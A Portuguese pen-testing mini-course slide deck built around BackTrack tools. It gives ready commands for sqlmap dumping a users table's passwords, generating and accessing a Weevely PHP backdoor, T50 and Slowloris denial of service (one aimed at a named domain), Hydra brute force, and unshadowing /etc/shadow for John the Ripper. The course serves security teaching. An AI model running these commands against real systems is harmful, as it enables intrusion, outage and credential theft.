Download - Mini Curso - Pen Test - Univem
![Page 1: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/1.jpg)
Mini Curso:Mini Curso:Pen test com Pen test com BacktrackBacktrackEvandro Villa VerdeEvandro Villa Verde
![Page 2: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/2.jpg)
Objetivo:
Fornecer ao aluno uma visão geral sobre testes de invasão
Entender a anatomia e os tipos diferentes de ataques
Conhecer as fases de um teste de invasão
Conhecer as metodologias e os apectos legais
![Page 3: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/3.jpg)
Visão:
O Teste de Invasão é um processo de
análise detalhada do nível de
segurança de um sistema ou rede
usando a perspectiva de um infrator.
O objetivo principal é simular de forma
controlada um ataque real que
normalmente é executado por criminosos.
![Page 4: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/4.jpg)
Fases:
Os procedimentos realizados por um profissional
de teste de intrusão é similar aos realizados
pelos crackers, diferindo na intenção do ataque.
1. Levantamento de informações (nome,telefone,endereço)
2. Varredura (s.o,rede,serviços,firewall)
3. Ganhar acesso (brute force,trafego,web,vulnerabilidade)
4. Manter acesso (backdoor e rootkits)
5. Apagar rastro
![Page 5: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/5.jpg)
Backtrack:
Backtrack é um sistema operacional linux baseado no Ubuntu.
É focado em testes de seguranças e testes de penetração (pen tests), muito apreciada por hackers e analistas de segurança, podendo ser iniciado diretamente pelo CD (sem necessidade de instalar em disco), mídia removível (pendrive), máquinas virtuais ou direto no disco rígido.
Fonte: http://pt.wikipedia.org/wiki/BackTrack
![Page 6: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/6.jpg)
Backtrack:
Ele é a fusão de duas distribuições que eram bem conhecidas na época:
- Whax e Auditor Security Collection
Eleito em 2006 como a Distribuição Live de Segurança número 1º em sua categoria
O BT possui mais de 300 ferramentas, que vão desde teste de intrusão até Analise Forense Digital.
Versão atual é BackTrack 5 R3 Released! Aug 13, 2012
![Page 7: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/7.jpg)
Problema:
BackTrack e os Drivers para Wifi e vídeo.
Ubuntu desatualizado
![Page 8: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/8.jpg)
Nmap:
Nmap é um software livre que realiza port scan desenvolvido pelo Gordon Lyon, autoproclamado hacker "Fyodor.
Realiza varredura de rede, buscando hosts ativos, portas abertas e serviços sendo executados.
![Page 9: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/9.jpg)
Nmap:
-sP Ping scan: Algumas vezes é necessário saber se um
determinado host ou rede estáno ar. Nmap pode enviar pacotes ICMP “echo request” para
verificar sedeterminado host ou rede está ativa. Hoje em dia, existem muitos filtros
querejeitam os pacotes ICMP “echo request”, então envia um pacote TCP ACK paraa porta 80
(default) e caso receba RST o alvo está ativo. A terceira técnica enviaum pacote SYN e
espera um RST ou SYN-ACK. Nmap –sP 192.168.1.254 Nmap –sP 192.168.1.0/24
![Page 10: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/10.jpg)
Nmap:
TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, aporta está aberta, enquanto um como resposta indica que a porta está fechada.
A vantagem dessa abordagem é que poucos irão detectar esse scanning de portas.
Nmap –sS 192.168.1.254 Nmap –sS 192.168.1.0/24
![Page 11: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/11.jpg)
Nmap:
-sT TCP connect() scan: É a técnica mais básica de
TCP scanning. É utilizada a chamada de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso a porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém fácil de ser detectado
Nmap –sT 192.168.1.254 Nmap –sT 192.168.1.0/24
![Page 12: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/12.jpg)
Nmap:
-sU UDP scan: Este método é utilizado para determinar
qual porta UDP está aberta em um host. A técnica consiste em enviar um pacote UDP de 0 byte para cada portado host.
Se for recebido uma mensagem ICMP “port unreachable” então a porta está fechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida.
Nmap –sU 192.168.1.254
![Page 13: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/13.jpg)
Nmap:
-O Ativa a identificação do host remoto via TCP/IP. Irá
apresentar versão do Sistema Operacional e tempo ativo. Ex.: nmap -O alvo
-v Modo verbose. Mostra tudo o que está se
passando. Ex.: nmap -v alvo
![Page 14: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/14.jpg)
Nmap:
-F Procura pelas portas que estão no /etc/services.
Método mais rápido, porém não procurar por todas as portas.
Ex.: nmap -F alvo
-P0 Não tenta pingar o host antes de iniciar a
varredura. Isto permite varrer alvos que bloqueiam ICMP “echo request (ou responses)” através de firewall.
Ex.: nmap -P0 alvo
![Page 15: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/15.jpg)
Xprobe2:
Xprobe2 analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a versão do mesmo.
Exemplo:
xprobe2 [host-name] xprobe2 <ip>
![Page 16: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/16.jpg)
Nikto :
Nikto é um script Perl usado para testar a segurança de seu servidor web. Ele
faz a varredura em servidores Apache tanto em busca de vulnerabilidades, quanto de falhas de configuração.
Para atualizar e executar o Nikto, utilizamos os seguintes comandos:
# ./nikto.pl -update # ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt
![Page 17: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/17.jpg)
SQL Map:
Local: /pentest/database/sqlmap
String: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" – [opções]
![Page 18: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/18.jpg)
SQL Map :
“Sqlmap é uma ferramenta open source para penetration test que automatiza o processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita em python e tem suporte tanto GNU linux ou windows.”
O sqlmap além de oferecer as funções para detectar e explorar as vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de banco de dados se for possivel.
![Page 19: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/19.jpg)
SQL Map :
--help Mostra as opções do SQLMAP --current-db Apresenta o banco de dados atual Exemplo: ./sqlmap.py --
url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db
--banner Pega o Banner do DBMS Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" -b --dbs Lista os bancos de dados do DBMS Exemplo: ./sqlmap.py --
url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
![Page 20: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/20.jpg)
SQL Map :
--tables Apresenta as tabelas do banco selecionado Exemplo:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"
-D acuart --tables --columns Apresenta as colunas da tabela selecionada Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --dump Extrai as informações da colunas selecionadas Exemplo:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"
-D acuart -T users -C 'uname,pass' --dump
![Page 21: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/21.jpg)
SQL Map : --current-user Apresenta o usuário ao qual a página está usando para se
conectar ao banco Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-user
--is-dba Verifica se o usuário atual é administrador do Banco Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --users Enumera todos os usuários Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --users --search Varre o banco atrás do que você procura, pode ser um banco,
tabela ou coluna Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --search –C ‘pass’
![Page 22: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/22.jpg)
SQL Map :
--user-agent Altera o nome do user Agent durante o ataque Exemplo:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"
--user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
--level=1-5 Seta o nível de performance que ele irá utilizar para efetuar
a varredura --risk=1-3 Seta o nível de risco de performance que o sqlmap efetuará
para a varredura
![Page 23: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/23.jpg)
Weevely:
Local: /pentest/backdoors/web/weevely
String: ./weevely <url> <password> <command>
![Page 24: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/24.jpg)
Weevely:
Weevely é um backdoor PHP discreto que simula uma conexão telnet. É uma ferramenta essencial para ser injetada após a exploração de uma vulnerabilidade de uma aplicação web. Com uma permissão básica para fazer upload de arquivos PHP, você só precisa gerar e fazer o upload do código do "servidor" PHP no alvo, e executado localmente o Weevely transmiti comandos de shell.
![Page 25: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/25.jpg)
Weevely:
Uso: Gerando o Backdoor: ./weevely generate teste/tmp/back.php # Cria um backdoor com a senha eSecurity na
pasta /tmp
./weevely http://www.sitevul.com/back.php teste # Acessa a shell utilizando a senha teste
![Page 26: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/26.jpg)
DoS:
T50 ferramenta de desenvolvida por um brasileiro, Nelson Brito, capaz de fazer ataques DoS e DDoS usando o conceito de stress testing:
# ./t50 www.ofm.com.br --flood --turbo --dport 80 -S --protocol ICMP
./t50 192.168.1.105 --flood --turbo --dport 80 -S –protocol
--flood --turbo (Aumenta a performance) -S (envia a flag SYN)
![Page 27: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/27.jpg)
DoS:
Slowloris: Atacandos velhos apaches # wget
http://ha.ckers.org/slowloris/slowloris.pl # chmod 777 slowloris.pl
Ele funciona enviando, atraves de um processo multi-thread, varias requisições parciais ao servidor Web alvo
![Page 28: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/28.jpg)
Hydra:
THC-Hydra (Last update 2012-05-23)
String: hydra –L <login> -P <passwd> <ip> <serv>
![Page 29: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/29.jpg)
Hydra:
# hydra –l root -p toor –t 12 127.0.0.1 ssh
Ele irá efetuar um bruteforce com usuário root com a senha toor com 12 threads no loopback na porta SSH
# hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh
Ele irá efetuar um bruteforce com usuário root com a senha buscando na wordlist.txt com
hydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha incorretos"
![Page 30: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/30.jpg)
Passwd:
O arquivo /etc/passwd contém informações sobre todos os usuários, inclusive as suas senhas criptografadas. Ele é legível por todos os usuários e, por isso, estas senhas podem ser facilmente crackeadas. Para combater esta vulnerabilidade foi desenvolvido o sistema de sombreamento de senhas, os shadows passwords.
Quando o sistema de sombreamento de senhas está disponível, o campo password do arquivo /etc/passwd é substituído por um "x" e o password do usuário é armazenado no arquivo /etc/shadow. Por esta razão o /etc/shadow é legível somente pelo usuário root. Desta maneira o arquivo /etc/shadow dificulta a ação de crackers.
![Page 31: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/31.jpg)
John :
Local: /pentest/passwords/john
String: ./john arquivo.db
![Page 32: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/32.jpg)
John : John the Ripper é um software para quebra de
senhas. Inicialmente desenvolvido para sistemas unix-like, corre agora em vários sistemas operativos (como DOS, Windows, Linux, BSD). Disponível em versão livre e paga, o John the Ripper é capaz fazer força bruta em senhas cifradas em DES, MD4 e MD5 entre outras
Dicionário (Wordlist): sendo o modo mais simples.
Quebra Simples (Single Crack): mais indicado para início de uma quebra e mais rápido que o wordlist
![Page 33: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/33.jpg)
John :
Ferramenta: Unshadow
Utilizada para unir os arquivos passwd e shadow para posteriormente ser quebrada pelo John the Ripper
Exemplo: ./unshadow /etc/passwd /etc/shadow >> hash.db
Agora quebramos usando: ./john hash.db
![Page 34: Mini Curso - Pen Test - Univem](https://reader030.vdocuments.mx/reader030/viewer/2022020713/547f9dbbb4af9f68088b4732/html5/thumbnails/34.jpg)
John :
./john senhas.txt # O modo mais simples de se usar o John é especificar o arquivo que tem as senhas e usuário e deixar ele fazer tudo
automaticamente. Ele irá começar com o modo single crack, depois irá passar para o modo wordlist e finalmente irá passar para o modo incremental.